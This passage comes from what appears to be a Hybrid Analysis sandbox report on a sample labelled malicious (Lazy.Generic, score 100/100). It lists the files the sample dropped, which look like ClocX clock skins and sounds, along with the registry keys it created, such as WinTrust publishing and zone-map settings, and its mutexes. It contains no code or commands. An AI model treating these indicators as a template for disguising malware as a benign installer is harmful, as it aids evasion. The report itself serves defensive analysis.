{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\iSink.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\iSink.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\iToolsClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\iToolsClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\iToolsClock2.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\iToolsClock2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\klokje.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\klokje.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\klokjehour.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\klokjemin.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\longhorn.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\longhorn.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\mars.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\negro2.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\negro2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\weemsplath.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\weemsplath.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\wonderglobe2.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DarkCrystalBall\\hourhand-7.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DarkCrystalBall\\minutehand-7.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DarkCrystalBall\\secondhand-7.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\domeclock\\domehour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\domeclock\\domemin.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\greenmarble\\marblehour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\greenmarble\\marblemin.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\roman\\romanhour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\roman\\romanminute.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\roman2\\roman2hour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\roman2\\roman2minute.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\romanblack\\romanblackhour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\romanblack\\romanblackmin.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\romanold\\romanoldhour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\romanold\\romanoldmin.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\woodone\\woodhour.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\woodone\\woodmin.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Sounds\\alert.mp3","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Sounds\\beep-ClockChime.wav","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Sounds\\clockbell.mp3","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Sounds\\ring.wav","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Sounds\\ring2.mp3","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\NOTIFICATIONS\\SETTINGS\\WINDOWS.SYSTEMTOAST.SECURITYANDMAINTENANCE\\","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:736:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\SM0:736:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"SM0:1216:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\SM0:1216:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"SM0:3068:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\SM0:3068:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\SM0:6224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"SM0:6224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Local\\SM0:1032:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"SM0:1032:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"SM0:1032:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}]}},"report_ids":{"sandbox_job_ids":["6586772b674da95430052127"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Lazy.Generic Sample ff3bd8bcbd9f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ff3bd8bcbd9f…. Malware family: Lazy.Generic. Threat score 100/100. 3/25 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ff3bd8bcbd9f93c0b48fac3dad59735db9db2343da3126bc836a3134b563924d"}],["$","meta","4",{"property":"og:title","content":"Malicious Lazy.Generic Sample ff3bd8bcbd9f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ff3bd8bcbd9f…. Malware family: Lazy.Generic. Threat score 100/100. 3/25 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ff3bd8bcbd9f93c0b48fac3dad59735db9db2343da3126bc836a3134b563924d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Lazy.Generic Sample ff3bd8bcbd9f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ff3bd8bcbd9f…. Malware family: Lazy.Generic. Threat score 100/100. 3/25 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]]